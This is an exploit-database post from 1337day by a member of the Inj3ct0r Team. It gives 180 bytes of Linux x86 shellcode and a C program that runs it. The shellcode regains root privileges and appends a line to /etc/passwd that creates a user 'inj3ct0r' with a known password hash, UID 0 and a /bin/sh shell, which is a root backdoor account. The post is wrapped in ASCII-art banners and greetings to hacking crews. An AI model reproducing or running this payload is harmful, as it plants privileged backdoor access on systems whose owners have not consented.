[php]
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /‘ \ __ /’__`\ /\ \__ /’__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /‘ _ `\ \/\ \/_/_\_<_ /’___\ \ \/\ \ \ \ \/\`’__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : 1337day.com 0
1 [+] Support e-mail : submit[at]1337day.com 1
0 0
1 ######################################### 1
0 I’m KedAns-Dz member from Inj3ct0r Team 1
1 ######################################### 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
/*
###
# Title : linux/x86 Add new User/Passwd – suid(0) – shellcode 180 bytes
# Author : KedAns-Dz
# E-mail : [email protected] ([email protected]) | [email protected] | [email protected]
# Home : Hassi.Messaoud (30500) – Algeria -(00213555248701)
# Web Site : www.1337day.com
# Facebook : http://facebook.com/KedAns
# platform : linux/x86
# Type : shellcode / local exploit
# Size : 180 bytes
# Inf0 : Add neW User w!th passwd as r00t suid(0) .
###
##
# | >> ——–+++=[ Dz Offenders Cr3w ]=+++——– << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | KinG Of PiraTeS * The g0bl!n * soucha * dr.R!dE .. |
# | ————————————————- < |
###
*/
// User = Inj3ct0r
// Pass = r00t
#include <stdio.h>
char newuser[] =
/* setreuid(0,0) */
"\x31\xc9" // xor %ecx,%ecx
"\x31\xdb" // xor %ebx,%ebx
"\xf7\xe3" // mul %ebx
"\xb0\xa4" // mov %al,$0xa4
"\xcd\x80" // int $0x80
"\x31\xc9" // xor %ecx,%ecx
"\x31\xdb" // xor %ebx,%ebx
/* e0f */
"\x6a\x46" // push $0x46
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x31\xdb" // xor %ebx,%ebx
"\x6a\x17" // push $0x17
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x31\xc9" // xor %ecx,%ecx
"\x31\xdb" // xor %ebx,%ebx
"\x6a\x46" // push $0x46
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x6a\x3d" // push $0x3d
"\x89\xe3" // mov %ebx,%esp
"\x6a\x27" // push $0x27
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x89\xd9" // mov %ecx,%ebx
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x66\x68\x2e\x2e" // push $0x2e2e
"\x89\xe3" // mov %ebx,%esp
"\x6a\x3d" // push $0x3d
"\x59" // pop %ecx
"\xb0\x0c" // mov %al,$0x0c
"\xcd\x80" // int $0x80
"\xe2\xfa" // loopd short
"\x6a\x3d" // push %0x3d
"\x89\xd9" // mov %ecx,%ebx
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x31\xc9" // xor %ecx,%ecx
"\x89\xcb" // mov %ebx,%ecx
"\x6a\x46" // push $0x46
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x6a\x05" // push $0x05
"\x58" // pop %eax
"\x31\xc9" // xor %ecx,%ecx
"\x51" // push %ecx
"\x68\x73\x73\x77\x64" // push $0x64777373
"\x68\x2f\x2f\x70\x61" // push $0x61702f2f
"\x68\x2f\x65\x74\x63" // push $0x6374652f
"\x89\xe3" // mov %ebx,%esp
"\x41" // inc %ecx
"\xb5\x04" // mov %ch,$0x04
"\xcd\x80" // int %80
"\x93" // xchg %eax,%ebx
"\xe8\x26\x00\x00\x00" // call .me
// Add User/Passwd + USR.Shell=/bin/sh
/* inj3ct0r:AzXA.7JfdpHtA:0:0::/:/bin/sh */
"\x69\x6e\x6a\x33\x63\x74"
"\x72\x3a\x41\x7a\x58\x41"
"\x2e\x37\x4a\x66\x64\x70"
"\x48\x74\x41\x3a\x30\x3a"
"\x30\x3a\x3a\x2f\x3a\x2f"
"\x62\x69\x6e\x2f\x73\x68"
/* e0f */
"\x0a\x59\x8b" // or %bl,%ecx
"\x51" // push %ecx
"\xfc" // cld
"\x6a\x04" // push $0x04
"\x58" // pop %eax
"\xcd\x80" // int $0x80
"\x6a\x01" // push $0x01
"\x58" // pop %eax
"\xcd\x80"; // int $0x80
int main()
{
printf("%d\n", strlen(newuser));
(*(void (*)()) newuser)();
return 0;
}
#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=====================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > || Rizky Ariestiyansyah * Islam Caddy
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * Kalashinkov3 * SeeMe * ZoRLu * anT!-Tr0J4n
# Anjel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * Sec4ever
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * www.packetstormsecurity.org * TreX
# www.metasploit.com * UE-Team & I-BackTrack * r00tw0rm.com * All Security and Exploits Webs ..
#=================================================================================================
# 1337day.com [2012-01-25]
[/php]